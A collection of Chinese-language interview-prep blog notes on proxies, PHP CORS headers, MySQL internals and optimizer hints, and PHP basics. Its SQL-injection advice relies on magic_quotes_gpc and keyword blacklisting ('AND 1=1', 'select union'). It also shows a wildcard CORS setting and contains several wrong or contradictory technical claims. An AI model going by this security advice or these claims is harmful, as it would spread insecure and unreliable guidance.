    2、為什麼要使用代理伺服器

    1)提高訪問速度

    由於目標主機返回的數據會存放在代理伺服器的硬盤中,因此下一次客戶再訪問相同的站點數據時,會直接從代理伺服器的硬盤中讀取,起到了緩存的作用,尤其對於熱門站點能明顯提高請求速度。

    2)防火牆作用

    由於所有的客戶機請求都必須通過代理伺服器訪問遠程站點,因此可在代理伺服器上設限,過濾某些不安全信息。

    3)通過代理伺服器訪問不能訪問的目標站點

    互聯網上有許多開發的代理伺服器,客戶機在訪問受限時,可通過不受限的代理伺服器訪問目標站點,通俗說,我們使用的翻牆瀏覽器就是利用了代理伺服器,雖然不能出國,但也可直接訪問外網。

    二、反向代理VS 正向代理

    1、什麼是正向代理?什麼是反向代理?

    正向代理,架設在客戶機與目標主機之間,只用於代理內部網絡對Internet的連接請求,客戶機必須指定代理伺服器,並將本來要直接發送到Web伺服器上的http請求發送到代理伺服器中。

    反向代理伺服器架設在伺服器端,通過緩衝經常被請求的頁面來緩解伺服器的工作量,將客戶機請求轉發給內部網絡上的目標伺服器;並將從伺服器上得到的結果返回給Internet上請求連接的客戶端,此時代理伺服器與目標主機一起對外表現為一個伺服器。

    2、反向代理有哪些主要應用?

    現在許多大型web網站都用到反向代理。除了可以防止外網對內網伺服器的惡性攻擊、緩存以減少伺服器的壓力和訪問安全控制之外,還可以進行負載均衡,將用戶請求分配給多個伺服器。


9. php構建api上的CORS問題

    跨域資源共享 CORS (Cross-origin resource sharing) 是一個 W3C 標準

    這裡是常見的設定方式:

    <?php

      header("Access-Control-Allow-Origin: *");

      header("Access-Control-Allow-Methods: *");

      header("Access-Control-Allow-Headers: Origin, Methods, Content-Type");

《面試官別再問》MySQL面試題總結

1. 什麼是MVCC

MVCC,Multi-Version Concurrency Control,多版本併發控制。MVCC 是一種併發控制的方法,一般在資料庫管理系統中,實現對資料庫的併發訪問;在程式語言中實現事務記憶體。

簡單來說,多版本並發控制 的思想就是保存資料的歷史版本,通過對資料行的多個版本管理來實現資料庫的並發控制。這樣我們就可以通過比較版本號決定資料是否顯示出來,讀取資料的時候不需要加鎖也可以保證事務的隔離效果。

可以認為 多版本並發控制(MVCC)是行級鎖的一個變種,但是它在很多情況下避免了加鎖操作,因此開銷更低。雖然實現機制有所不同,但大都實現了非阻塞的讀操作,寫操作也只鎖定必要的??。

MySQL的大多數事務型存儲引擎實現的都不是簡單的行級鎖。基於提升並發性能的考慮,它們一般都同時實現了多版本並發控制(MVCC)。不僅是MySQL,包括Oracle、PostgreSQL等其他資料庫系統也都實現了MVCC,但各自的實現機制不盡相同,因為MVCC沒有一個統一的實現標準,典型的有樂觀(optimistic)並發控制和悲觀(pessimistic)並發控制。

多版本並發控制(MVCC)在一定程度上實現了讀寫並發,它只在 可重複讀(REPEATABLE READ)和 提交讀(READ COMMITTED)兩個隔離級別下工作。其他兩個隔離級別都和MVCC 不兼容,因為 未提交讀(READ UNCOMMITTED),總是讀取最新的資料行,而不是符合當前事務版本的資料行。而 可串行化(SERIALIZABLE)則會對所有讀取的行都加鎖。


2. MySQL的邏輯架構

連接層

主要工作是:連接處理、授權認證、安全防護等。

服務層(server層)

服務層用於處理核心服務,如標準的SQL接口、查詢解析、SQL優化和統計、全局的和引擎依賴的緩存與緩衝器等等。所有的與存儲引擎無關的工作,如過程、函數等,都會在這一層來處理。在該層上,服務器會解析查詢並創建相應的內部解析樹,並對其完成優化,如確定查詢表的順序,是否利用索引等,最後生成相關的執行操作。如果是SELECT 語句,服務器還會查詢內部的緩存。如果緩存空間足夠大,這樣在解決大量讀操作的環境中能夠很好的提升系統的性能。

分析器

如果沒有命中緩存,就開始做詞法分析和語法分析

詞法分析:MySQL 從你輸入的"select"這個關鍵字識別出來,這是一個查詢語句。它也要把字符串“T”識別成“表名T”,把字符串“ID”識別成“列ID”

語法分析:判斷你輸入的這個SQL 語句是否滿足MySQL 語法。如果語句不對,就會收到“You have an error in your SQL syntax”的錯誤提醒

優化器

優化器是在表裡面有多個索引的時候,決定使用哪個索引;或者在一個語句有多表關聯(join)的時候,決定各個表的連接順序

執行器

開始執行的時候,要先判斷一下對這個表T 有沒有執行查詢的權限,如果沒有,就會返回沒有權限的錯誤(在工程實現上,如果命中查詢緩存,會在查詢緩存返回結果的時候,做權限驗證。查詢也會在優化器之前調用precheck 驗證權限)。如果有權限,就打開表繼續執行。打開表的時候,執行器就會根據表的引擎定義,去使用這個引擎提供的接口。


3. MySQL的讀寫鎖?

表鎖:不會出現死鎖,發生鎖衝突機率高,併發低

行鎖:會出現死鎖,發生鎖衝突機率低,併發高

鎖衝突:例如說事務A將某幾行上鎖後,事務B又對其上鎖,鎖不能共存否則會出現鎖衝突。(但是共享鎖可以共存,共享鎖和排它鎖不能共存,排它鎖和排他鎖也不可以)

死鎖:例如說兩個事務,事務A鎖住了1~5行,同時事務B鎖住了6~10行,此時事務A請求鎖住6~10行,就會阻塞直到事務B施放6~10行的鎖,而隨後事務B又請求鎖住1~5行,事務B也阻塞直到事務A釋放1~5行的鎖。死鎖發生時,會產生Deadlock錯誤。鎖是對錶操作的,所以自然鎖住全表的表鎖就不會出現死鎖。

行鎖的型別

共享鎖又稱:讀鎖。當一個事務對某幾行上讀鎖時,允許其他事務對這幾行進行讀操作,但不允許其進行寫操作,也不允許其他事務給這幾行上排它鎖,但允許上讀鎖。

排它鎖又稱:寫鎖。當一個事務對某幾個上寫鎖時,不允許其他事務寫,但允許讀。更不允許其他事務給這幾行上任何鎖。包括寫鎖。

共享鎖的寫法:lock in share mode

select  * from  test where math>60 lock in share mode;

排它鎖的寫法:for update

select * from test where math >60 for update;

行鎖的實現 注意幾點

1.行鎖必須有索引才能實現,否則會自動鎖全表

2.兩個事務不能鎖同一個索引


客戶端A讀取操作不需要等待客戶端B讀取完成並釋放鎖。但客戶端A進行寫操作的時候,會阻塞其他客戶端的讀和寫操作,直到客戶端A寫操作完成並釋放鎖,其他客戶端才可以進行讀寫。

上面說了這麼多,但實際上當客戶端A更新某行記錄的同時,客戶端B任然可讀取到資料,不會被阻塞,這是為什麼呢?

先來了解兩個東西,Redo Log(重做日誌)和Undo Log(回滾日誌)

redo log通常是物理日誌,記錄的是資料頁的物理修改,它用來恢復提交後的物理資料頁(恢復資料頁,且只能恢復到最後一次提交的位置)。

undo用來回滾行記錄到某個版本。undo log一般是邏輯日誌,根據每行記錄進行記錄。

如果看不懂,就這樣理解:當發生寫操作時,Innodb會把舊資料存儲到Undo Log(回滾日誌)中,新資料寫到Redo Log(重做日誌)中。

當客戶端A更新某行記錄的同時,客戶端B會被寫鎖阻塞,這時,客戶端B會去Undo Log中讀取舊資料。


4. 怎麼解決MySQL死鎖問題?

從死鎖的定義來看,MySQL 出現死鎖的幾個要素為:

兩個或者兩個以上事務

每個事務都已經持有鎖並且申請新的鎖

鎖資源同時只能被同一個事務持有或者不兼容

事務之間因為持有鎖和申請鎖導致彼此循環等待


一個用戶A 訪問表A(鎖住了表A),然後又訪問表B;另一個用戶B 訪問表B(鎖住了表B),然後企圖訪問表A;這時用戶A由於用戶B已經鎖住表B,它必須等待用戶B釋放表B才能繼續,同樣用戶B要等用戶A釋放表A才能繼續,這就死鎖就產生了。

解決方法

這種死鎖比較常見,是由於程序的BUG產生的,除了調整程序的邏輯沒有其它的辦法。仔細分析程序的邏輯,對於資料庫的多表操作時,盡量按照相同的順序進行處理,盡量避免同時鎖定兩個資源,如操作A和B兩張表時,總是按先A後B的順序處理, 必須同時鎖定兩個資源時,要保證在任何時刻都應該按照相同的順序來鎖定資源。


如果在事務中執行了一條不滿足條件的update語句,則執行全表掃描,把行級鎖上升為表級鎖,多個這樣的事務執行後,就很容易產生死鎖和阻塞。類似的情況還有當表中的資料量非常龐大而索引建的過少或不合適的時候,使得經常發生全表掃描,最終應用系統會越來越慢,最終發生阻塞或死鎖。

解決方法

SQL語句中不要使用太複雜的關聯多表的查詢;使用“執行計劃”對SQL語句進行分析,對於有全表掃描的SQL語句,建立相應的索引進行優化。


5. InnoDB四大特性

插入緩存(insert buffer)

對非聚集索引的插入或者update,purge等操作,並非每一次直接插入索引頁,而是把若干對於同一頁面的更新緩存起來合併為一次操作,隨機IO –> 順序IO,避免隨機IO帶的性能消耗,提高寫性能。

二次寫(double write)

帶給innodb存儲引擎資料的可靠性

起因:當資料庫宕機時,可能發生資料庫寫一個頁面,而這個頁只寫了一部分,這就是所謂的部分寫失效(partial page write),它會導致資料丟失,這時是無法通過重做日誌恢復的,因為重做日誌記錄的是對頁的物理修改,如果頁本身已經損壞,重做日誌也無能為力。

恢復原理:mysql在恢復的時候是通過檢查page的checksum來決定這個頁是否需要恢復,checksum就是當前這個頁最後一個事務的事務號,如果系統找不到checksum,mysql就無法對該行資料進行寫入操作

自適應哈希索引(adapter hash index)

innodb存儲引擎會監控對錶上索引的查找,如果觀察到建立哈希索引可以帶來速度上的提升,則建立哈希索引,所以稱為自適應的。

自適應哈希索引通過緩衝池的B+樹構造而來,因為建立的速度很快,而且不需要將整個表都建立哈希索引,innodb會自動根據訪問頻率和模式來為某些頁建立哈希索引。

啟用自適應哈希索引後,讀寫速度提高兩倍,輔助索引的鏈接操作,性能提高五倍。

可以通過show engine innodb status\G來查看自適應哈西索引的使用情況。可以使用innodb_adaptive_hash_index來禁用和啟用hash索引,默認開啟。


6. MySQL事務隔離級別和實現原理

事務具有原子性(Atomicity)、一致性(Consistency)、隔離性(Isolation)、持久性(Durability)四個特性,簡稱ACID,缺一不可。

臟讀指的是讀到了其他事務未提交的資料,未提交意味著這些資料可能會回滾,也就是可能最終不會存到資料庫中,也就是不存在的資料。讀到了並一定最終存在的資料,這就是臟讀。

可重複讀指的是在一個事務內,最開始讀到的資料和事務結束前的任意時刻讀到的同一批資料都是一致的。通常針對資料更新(UPDATE)操作。

對比可重複讀,不可重複讀指的是在同一事務內,不同的時刻讀到的同一批資料可能是不一樣的,可能會受到其他事務的影響,比如其他事務改了這批資料並提交了。通常針對資料更新(UPDATE)操作。

幻讀是針對資料插入(INSERT)操作來說的。假設事務A對某些行的內容作了更改,但是還未提交,此時事務B插入了與事務A更改前的記錄相同的記錄行,並且在事務A提交之前先提交了,而這時,在事務A中查詢,會發現好像剛剛的更改對於某些資料未起作用,但其實是事務B剛插入進來的,讓用戶感覺很魔幻,感覺出現了幻覺,這就叫幻讀。

SQL 標准定義了四種隔離級別,MySQL 全都支持。這四種隔離級別分別是:

讀未提交(READ UNCOMMITTED)

讀提交(READ COMMITTED)

可重複讀(REPEATABLE READ)

串行化(SERIALIZABLE)

從上往下,隔離強度逐漸增強,性能逐漸變差。採用哪種隔離級別要根據系統需求權衡決定,其中,可重複讀是MySQL 的默認級別。

事務隔離其實就是為了解決上面提到的髒讀、不可重複讀、幻讀這幾個問題,下面展示了4 種隔離級別對這三個問題的解決程度。


7. 什麼是全文索引?

MySQL 從 5.7.6 版本開始,MySQL就內建了ngram全文解析器,用來支援中文、日文、韓文分詞。在 MySQL 5.7.6 版本之前,全文索引只支援英文全文索引,不支援中文全文索引,需要利用分詞器把中文段落預處理拆分成單詞,然後存入資料庫。

ngram就是一段文字裡面連續的n個字的序列。ngram全文解析器能夠對文字進行分詞,每個單詞是連續的n個字的序列。

MySQL 中使用全域性變數ngram_token_size來配置ngram中n的大小,它的取值範圍是1到10,預設值是2。通常ngram_token_size設定為要查詢的單詞的最小字數。如果需要搜尋單字,就要把ngram_token_size設定為1。在預設值是2的情況下,搜尋單字是得不到任何結果的。因為中文單詞最少是兩個漢字,推薦使用預設值2。

常用的全文檢索模式有兩種:

1、自然語言模式(NATURAL LANGUAGE MODE) ,

自然語言模式是MySQL 預設的全文檢索模式。自然語言模式不能使用操作符,不能指定關鍵詞必須出現或者必須不能出現等複雜查詢。

2、BOOLEAN模式(BOOLEAN MODE)

BOOLEAN模式可以使用操作符,可以支援指定關鍵詞必須出現或者必須不能出現或者關鍵詞的權重高還是低等複雜查詢。


8. 什麼是覆蓋索引?

覆蓋索引的定義有如下三種:

解釋一:就是select的資料列只用從索引中就能夠取得,不必從資料表中讀取,換句話說查詢列要被所使用的索引覆蓋。

解釋二:索引是高效找到行的一個方法,當能通過檢索索引就可以讀取想要的資料,那就不需要再到資料表中讀取行了。如果一個索引包含了(或覆蓋了)滿足查詢語句中欄位與條件的資料就叫做覆蓋索引。

解釋三:是非聚集組合索引的一種形式,它包括在查詢里的Select、Join和Where子句用到的所有列(即建立索引的欄位正好是覆蓋查詢語句[select子句]與查詢條件[Where子句]中所涉及的欄位,也即,索引包含了查詢正在查找的所有資料)。

通俗些說,覆蓋索引就是能在某次查詢中能同時覆蓋到所有的查詢結果和查詢條件的索引。這裡強調兩點:覆蓋索引首先是一個索引;覆蓋索引覆蓋的是什麼呢?覆蓋的是所有查要讀取的所有的列,同時也覆蓋所有的查詢條件。

索引條目通常遠小於資料行大小,所以如果只需讀取索引,那mysql就會極大的減少資料訪問量。這對緩存的負載非常重要,因為這種情況下響應時間大部分花費在資料拷貝上。覆蓋索引對於I/O密集型的應用也很有幫助,因為索引比資料更小,更容易全部放入內存中。

由於InnoDB的聚簇索引,覆蓋索引對InnoDB特別有用。InnoDB的二級索引在葉子節點中保存了行的主鍵值,所以如果二級主鍵能夠覆蓋查詢,則可以避免對主鍵索引的二次查詢。減少IO,提高效率。


9. 索引失效的情況有哪些?

一、單表查詢時索引失效

1、mysql查詢單表時,查詢得到的結果集佔資料總量很大比例,mysql會認為全表掃描會優於索引,則不走索引。

例:比如企業人員信息表 (userInfo),字段(user_id、user_name、user_type(vachar)),假設企業裡有10w人,一千個管理層user_type為1,9萬9千人為普通員工user_type為2,

sql:select * from userInfo where user_type='2' 這時user_type字段索引可能會失效

2、查詢時where條件後的字段類型要與表結構中該字段類型一致,

例:select * from userInfo where user_type=2 ,user_type在表結構中時字符類型,查詢時沒用有單引號包含起來則不走索引。

3、在where條件後對索引字段加了函數轉換或者運算邏輯(+、-、*、/、!、<>、%、like'%_'(%放在前面)、or、in (疑問、可能存在成本問題)、exist等)的處理,比如對時間戳字段進行日期格式化函數都會引起索引失效。

二、多表關聯查詢時索引失效

1、在表結構設計階段主表與關聯表之間的關聯字段的資料類型、資料長度、字段的編碼格式以及字段的排序規則需要保持一致

三、組合索引

1、當一張表的查詢方式比較固定,這時候可以嘗試創建聚集索引,查詢時應當遵從組合索引的規則,最左原則,查詢時使用最頻繁的一列放在最左邊,

例:index(user_id,user_name,user_type)這是一個組合索引,當查詢時如果想走索引則

sql:select * from userInfo where user_id='001' and user_name='小張' and user_type='1';這個時候是走了索引的,但是

select * from userInfo where  user_name='小張' and user_type='1';這時user_id沒有在where條件內將不走索引;

此例,user_id字段必須出現在where後面,不然索引將不會生效。


10. Trace 是做什麼用的?

# 1. 開啟optimizer trace功能 (預設情況下它是關閉的):

SET optimizer_trace="enabled=on";

SELECT ...; # 這裡輸入你自己的查詢語句

SELECT * FROM INFORMATION_SCHEMA.OPTIMIZER_TRACE;

# 當你停止檢視語句的優化過程時,把optimizer trace功能關閉

SET optimizer_trace="enabled=off";

QUERY:表示我們的查詢語句。

TRACE:表示優化過程的JSON格式文字。

MISSING_BYTES_BEYOND_MAX_MEM_SIZE:由於優化過程可能會輸出很多,如果超過某個限制時,多餘的文字將不會被顯示,這個欄位展示了被忽略的文字位元組數。

INSUFFICIENT_PRIVILEGES:表示是否沒有許可權檢視優化過程,預設值是0,只有某些特殊情況下才會是1,我們暫時不關心這個欄位的值。


11. 什麼是mysql主從同步?

當master(主)庫的資料發生變化的時候,變化會實時的同步到slave(從)庫。

資料是一個應用至關重要的一部分。從目的出發,主從同步有那麼點備份的意思,主庫(Master)將自己庫中的寫入同時同步給自己的從庫(Slave),當主庫發生某些不可預知的狀況,導致整個伺服器無法使用時,由於從庫中也有一份資料,所以資料可以做到快速恢復,不造成或者減少造成資料的損失。

當我們在MySQL中設定了主從之後,只要我們對Master節點進行了寫操作,這個操作將會被儲存到MySQL的binary-log(bin-log)紀錄檔當中,當slave連線到master的時候,master機器會為slave開啟binlog dump執行緒。當master 的 binlog發生變化的時候,Master的dump執行緒會通知slave,並將相應的binlog內容傳送給Slave。而Slave節點在主從同步開啟的時候,會建立兩個執行緒,一個I/O執行緒,一個SQL執行緒,這在我們後面的搭建中可以親眼看到。

I/0執行緒:該執行緒連結到master機器,master機器的binlog傳送到slave的時候,IO執行緒會將該紀錄檔內容寫在原生的中繼紀錄檔(Relay log)中。

SQL執行緒:該執行緒讀取中繼紀錄檔中的內容,並且根據中繼紀錄檔中的內容對Slave資料庫做相應的操作。

可能造成的問題:在寫請求相當多的情況下,可能會造成Slave資料和Master資料不一致的情況,這是因為紀錄檔傳輸過程中的短暫延遲、或者寫命令較多,系統速度不匹配造成的。


12. Join的使用技巧和優化

join用於多表中欄位之間的聯繫,在資料庫的DML (資料操作語言,即各種增刪改查操作)中有著重要的作用。

合理使用Join語句優化SQL有利於:

增加資料庫的處理效率,減少響應時間;

減少資料庫伺服器負載,增加伺服器穩定性;

減少伺服器通訊的網絡流量;

1. Join的分類:

內連接 Inner Join

全外連接 FULL Outer Join

左外連接 Left Outer Join

右外連接 Right Outer Join

交叉連接 Cross Join

MySQL按如下方式實現A LEFT JOIN B:

表B被設置為依賴於表A和A所依賴的所有表。 表A被設置為依賴於在LEFT JOIN條件中使用的所有表(除了B)。 LEFT JOIN條件用於決定如何從表B中檢索行(換句話說,不使用WHERE子句中的任何條件)。 所有標準連接優化都執行,不同之處在於一個表總是在它所依賴的所有表之後被讀取。 如果有循環依賴,則會發生錯誤。 所有標準的WHERE優化都被執行。 如果A中存在與WHERE子句匹配的行,但B中沒有與ON條件相匹配的行,則會生成一個額外的B行,並將所有列設置為NULL。 如果使用LEFT JOIN查找某些表中不存在的行,並且您有以下測試:在WHERE部分中,col_name是NULL,其中col_name是一個聲明為NOT NULL的列,MySQL將停止搜尋更多行(為瞭找到一行符合LEFT JOIN條件的特定組合鍵)。

RIGHT JOIN實現類似於LEFT JOIN,其表格角色顛倒瞭。 右連接轉換為等效的左連接

連接優化器計算連接表的順序。 由LEFT JOIN或STRAIGHT_JOIN強制的表讀順序可以幫助聯接優化器更快地完成工作,因為檢查的表排列更少。 這意味著如果執行以下類型的查詢,MySQL會對b執行完整掃描,因為LEFT JOIN強制在d之前讀取它:

那麼如何優化LEFT JOIN:  

1、條件中盡量能夠過濾一些行將驅動表變得小一點,用小表去驅動大表 

2、右表的條件列一定要加上索引(主鍵、唯一索引、前綴索引等),最好能夠使type達到range及以上(ref,eq_ref,const,system)  


13. 資料庫為什麼使用B+樹而不是B樹

1、B樹只適合隨機檢索,而B+樹同時支持隨機檢索和順序檢索;

2、B+樹空間利用率更高,可減少I/O次數,磁盤讀寫代價更低。一般來說,索引本身也很大,不可能全部存儲在內存中,因此索引往往以索引文件的形式存儲的磁盤上。這樣的話,索引查找過程中就要產生磁盤I/O消耗。B+樹的內部結點並沒有指向關鍵字具體信息的指針,只是作為索引使用,其內部結點比B樹小,盤塊能容納的結點中關鍵字數量更多,一次性讀入內存中可以查找的關鍵字也就越多,相對的,IO讀寫次數也就降低了。而IO讀寫次數是影響索引檢索效率的最大因素;

3、B+樹的查詢效率更加穩定。B樹搜索有可能會在非葉子結點結束,越靠近根節點的記錄查找時間越短,只要找到關鍵字即可確定記錄的存在,其性能等價於在關鍵字全集內做一次二分查找。而在B+樹中,順序檢索比較明顯,隨機檢索時,任何關鍵字的查找都必須走一條從根節點到葉節點的路,所有關鍵字的查找路徑長度相同,導致每一個關鍵字的查詢效率相當。

4、B-樹在提高了磁盤IO性能的同時並沒有解決元素遍歷的效率低下的問題。B+樹的葉子節點使用指針順序連接在一起,只要遍歷葉子節點就可以實現整棵樹的遍歷。而且在資料庫中基於範圍的查詢是非常頻繁的,而B樹不支持這樣的操作。

5、增刪文件(節點)時,效率更高。因為B+樹的葉子節點包含所有關鍵字,並以有序的鍊錶結構存儲,這樣可很好提高增刪效率。


14. In與Exists的區別 

EXISTS操作符用來判斷一個子查詢是否返回數據行。如果一個子查詢返回了至少一個數據行,則 EXISTS 的計算結果為TRUE,否則計算結果為FALSE。

not exists與exists相反,也就是當exists條件有結果集返回時,loop到的記錄將被丟棄,否則將loop到的記錄加入結果集

EXISTS運算的結果只與子查詢是否返回數據行有關,子查詢中的列的數量或者名稱不影響運算結果。

總的來說,in查詢就是先將子查詢條件的記錄全都查出來,假設結果集為B,共有m條記錄,然後在將子查詢條件的結果集分解成m個,再進行m次查詢


15 該如何防止sql注入?我們通過以下三種方法進行防治sql注入

1.開啟php的魔術模式,,magic_quotes_gpc = on即可,當一些特殊字符出現在網站前端的時候,就會自動進行轉化,轉化成一些其他符號導致sql語句無法執行。

2.網站代碼裡寫入過濾sql特殊字符的代碼,對一些特殊字符進行轉化,比如單引號,逗號,*,(括號)AND 1=1 、反斜槓,select union等查詢的sql語句都進行安全過濾,限制這些字符的輸入,禁止提交到後端中去。

3.開啟網站防火牆,IIS防火牆,apache防火牆,nginx防火牆,都有內置的過濾sql注入的參數,當用戶輸入參數get、post、cookies方式提交過來的都會提前檢測攔截。

《面試官別再問》mysql查詢優化器提示(hint)

mysql提供了另一種神奇的功能讓我們去引導優化器進行更好的優化。

它就是 查詢優化提示(Query Optimizer Hints);

查詢優化提示會提示優化器按照一定的方式去優化,讓你的sql語句更具靈活性,這會讓你的查詢更快,當然也可能更慢,這完全取決於你對優化器的理解和場景的了解。

現在讓我們來了解有哪些查詢優化提示:


優先操作HIGH_PRIORITY

HIGH_PRIORITY可以使用在select和insert操作中,讓MYSQL知道,這個操作優先進行。

SELECT HIGH_PRIORITY * FROM TABLE1;

滯後操作LOW_PRIORITY

LOW_PRIORITY可以使用在select,delete,insert和update操作中,讓mysql知道,這個操作滯後。

update LOW_PRIORITY table1 set field1= where field1= …

這兩個提示都只在基於表鎖的存儲引擎非常有效。在innoDB和其他基於行鎖的存儲引擎,你可能永遠用不上。在MyISAM中使用它們時,也要十分小心,因為它們會讓並發插入失效,可能會嚴重下降性能。


延時插入DELAYED

這個操作只能用於insert 和replace

INSERT DELAYED INTO table1 set field1= …

INSERT DELAYED INTO,是客戶端提交數據給MySQL,MySQL返回OK狀態給客戶端。而這是並不是已經將數據插入表,而是存儲在內存裡面等待排隊。

當mysql有空餘時,再插入。另一個重要的好處是,來自許多客戶端的插入被集中在一起,並被編寫入一個塊。這比執行許多獨立的插入要快很多。

壞處是,不能返回自動遞增的ID,以及系統崩潰時,MySQL還沒有來得及插入數據的話,這些數據將會丟失。並且導致last_insert_id()無法正常工作。


強制連接順序straight_join

SELECT TABLE1.FIELD1, TABLE2.FIELD2 FROM TABLE1 STRAIGHT_JOIN TABLE2 WHERE...;

由上面的SQL語句可知,通過STRAIGHT_JOIN強迫MySQL按TABLE1、TABLE2的順序連接表。如果你認為按自己的順序比MySQL推薦的順序進行連接的效率高的話,就可以通過STRAIGHT_JOIN來確定連接順序。

分組使用臨時表SQL_BIG_RESULT和SQL_SMALL_RESULT


SELECT SQL_BUFFER_RESULT FIELD1, COUNT(*) FROM TABLE1 GROUP BY FIELD1;

這兩個提示只對select語句有效,它們告訴優化器對group by 或者distinct 查詢如何使用臨時表及排序。

sql_small_result 告訴優化器結果集會很小,可以將結果集放在內存中的索引臨時表,以避免排序操作;

sql_big_result 則告訴優化器結果集會很大,建議使用磁盤臨時表做排序操作;


強制使用臨時表sql_buffer_result

SELECT SQL_BUFFER_RESULT * FROM TABLE1 WHERE …;

這個提示告訴優化器將查詢放入到一個臨時表,然後儘可能地釋放鎖。這和前面提到的由客戶端緩存結果不同。當你設法使用客戶端緩存的時候,使用服務器端的緩存通常很有效。

帶來的好處是無須在客戶端消耗太多的內存,還可以盡可能快的釋放對應的表鎖。代價是,服務器端需要更多的內存。


SQL_NO_CACHE

SQL_NO_CACHE hint 會使用特殊的查詢來關閉MySQL內置的查詢緩存機制。在動態性很強或者執行頻率很低的查詢上使用SQL_NO_CACHE hint,可以幫助MySQL提高緩存的使用效率。不過確保在使用SQL_NO_CACHE hint時,MySQL已經開啟了查詢緩存,否則沒有必要使用。

SELECT SQL_NO_CACHE field1, field2 FROM TABLE1;

關於MySQL查詢緩存的更多信息可以查看這裡


SQL_CACHE

如果你已經配置了query_cache_type = 2(僅在使用SQL_CACHE時進行緩衝),那麼可以使用SQL_CACHE hint來告訴MySQL哪些查詢需要進行緩存。

SELECT SQL_CALHE * FROM TABLE1;


sql_calc_found_rows

嚴格來說,這並不是一個優化器提示。它不會告訴優化器任何關於執行計劃的東西。

它會讓mysql返回的結果集包含更多的信息。查詢中加上該提示,mysql會計算出去limit子句後這個查詢返回的結果集的總數。

而實際上只返回limit要求的結果集。可以通過函數found_row()獲得這個值。


鎖相關for update 和lock in share mode

這兩個提示主要控制select 語句的鎖機制。但只對實現了行級鎖的存儲引擎有效。使用該提示會對符合查詢條件的數據加鎖。

對於insert...select 語句不需要這兩個提示,因為會默認添加上鎖。

唯一內置的支持這兩個提示的引擎是innoDB。另外需要記住的是,這兩個提示會讓某些優化無法進行。例如索引覆蓋掃描。

2022年3月3日 星期四

《面試官別再問》PHP面試考題參考

1. PHP abstract 與interface 的區別與用法 

抽象類需要繼承,用extends,而介面需要實現,用implements;

一個類可以實現多個介面,但只能繼承一個抽象類

介面中每個方法都只有聲明而沒有實現,其中的每個方法實現類必須要實現;而抽象類中只需要實現抽象方法,其它方法可以選擇性的實現;

介面中只能聲明public的方法,不能聲明private和protected的方法,不能對方法進行實現,也不能聲明實例變量;但是抽象類中可以


2.PHP Traits

跟Java一樣,PHP不允許多重繼承,這樣可以減少物件組織的複雜性,也比較容易避開一些相依問題。

但是在許多狀況下,我們可能只是需要一些特定的功能,這些功能幾乎沒有相依性,用繼承來取得太複雜

這時候通常的作法是把它做成獨立的類別,然後在需要使用的地方把物件當做property來使用(composition)。

但是在實際上需要作為物件的方法才方便使用時,就不適合這樣做了。

使用Traits,可以在需要某些「特定」的特性與功能時,才引用特定的Traits,這樣很直接方便。


3. 何謂 MVC 架構?

MVC模式(Model-View-Controller)是軟體工程中的一種軟體架構模式。

MVC把軟體系統分為三個基本部分:模型(Model)、視圖(View)和控制器(Controller)。

MVC的目的是實現一種動態的程序設計,便於後續對程序的修改和擴展簡化,並且使程序某一部分的重複利用成為可能。

除此之外,此模式通過對複雜度的簡化,使程序結構更加直覺。


4. Session 和 Cookie 有何不同?

許多情況需要保留一些通用訊息,譬如登入帳號、密碼、IP 位址、計數器等等。而且訊息大多以文字格式存取。

以確保不同網頁之間可以共同存取。但這些訊息要存在甚麼地方呢?如儲存於瀏覽器(客戶端硬碟)則稱為『Cookie』,

Cookie 變數存活時間大多是宣告時設定,超過時間或刻意刪除才會被消除。Session 變數大多依照『會議連線』(Session)存活時間而定。

當產生一條 Session 連線時,伺服器會給予一個 Session ID (識別碼),之間也許會有多個不同網頁的存取

所產生的 Session 變數也都共同使用,當 Session 連線結束時,所有該 Session ID 下的變數也隨之被刪除。


5. GET/POST 的差異?

Web瀏覽器通常使用兩種HTTP(超文本傳輸協議)方法(GET和POST)之一與服務器通信。兩種方法都以不同方式傳遞信息,並且具有不同的優點和缺點,如下所述。

在GET方法中,數據作為URL參數發送,通常是由“&”號分隔的名稱和值對字符串&。通常,帶有GET數據的URL如下所示:

由於GET方法發送的數據顯示在URL中,因此可以使用特定的查詢字符串值對頁面添加書籤。

GET方法不適用於傳遞敏感信息,例如用戶名和密碼,因為這些信息在URL查詢字符串中完全可見,並且有可能作為訪問頁面存儲在客戶端瀏覽器的內存中。

因為GET方法將數據分配給服務器環境變量,所以URL的長度受到限制。因此,要發送的總數據存在限制。

在POST方法中,數據與處理腳本在單獨的通信中作為包發送到服務器。通過POST方法發送的數據在URL中不可見。

它比GET更安全,因為用戶輸入的信息永遠不會在URL查詢字符串或服務器日誌中可見。

可傳遞的數據量有更大的限制,並且可以使用POST發送文本數據以及二進制數據(上傳文件)。

由於POST方法發送的數據在URL中不可見,因此無法使用特定查詢為頁面添加書籤。


6.何謂「傳值呼叫 (Call By Value)」與「傳址呼叫 (Call By Reference)」,請解釋兩者的差異?

參數使用變數名稱與程式使用名稱雖然相同,但是會被視爲不同的資料,不會互相影響,這種做法叫做 Call By Value。

另外一種是無論在程式的任何地方使用到該變數,會將該變數在記憶體中的 address 傳給程式使用,所以使用變數的地方都會指向同一塊記憶體。


7. include 和 require 之間的差異

require()語句的性能與include()相類似,都是包括並運行指定文件。不同之處在於:對include()語句來說,在執行文件時每次都要進行讀取和評估;

而對於require()來說,文件只處理一次(實際上,文件內容替換require()語句)。這就意味著如果可能執行多次的代碼,則使用require()效率比較高。

另外一方面,如果每次執行代碼時是讀取不同的文件,或者有通過一組文件疊代的循環,就使用include()語句。

PHP系統在加載PHP程序時有一個偽編譯過程,可使程序運行速度加快。但incluce的文檔仍為解釋執行。

include的文件中出錯了,主程序繼續往下執行,require的文件出錯了,主程序也停了,所以包含的文件出錯對系統影響不大的話(如界面文件)就用include,否則用require。



8. 了解設計模式嗎?

工廠模式具體可分為三類模式:簡單工廠模式,工廠方法模式,抽象工廠模式;

簡單工廠模式

又稱為靜態工廠方法(Static Factory Method)模式,它屬於類創建型模式。在簡單工廠模式中,可以根據參數的不同返回不同類的實例。簡單工廠模式專門定義一個類來負責創建其他類的實例,被創建的實例通常都具有共同的父類。

角色:

Factory類:負責創建具體產品的實例

Product類:抽象產品類,定義產品子類的公共介面

ConcreteProduct 類:具體產品類,實現Product父類的介面功能,也可添加自定義的功能


工廠方法模式

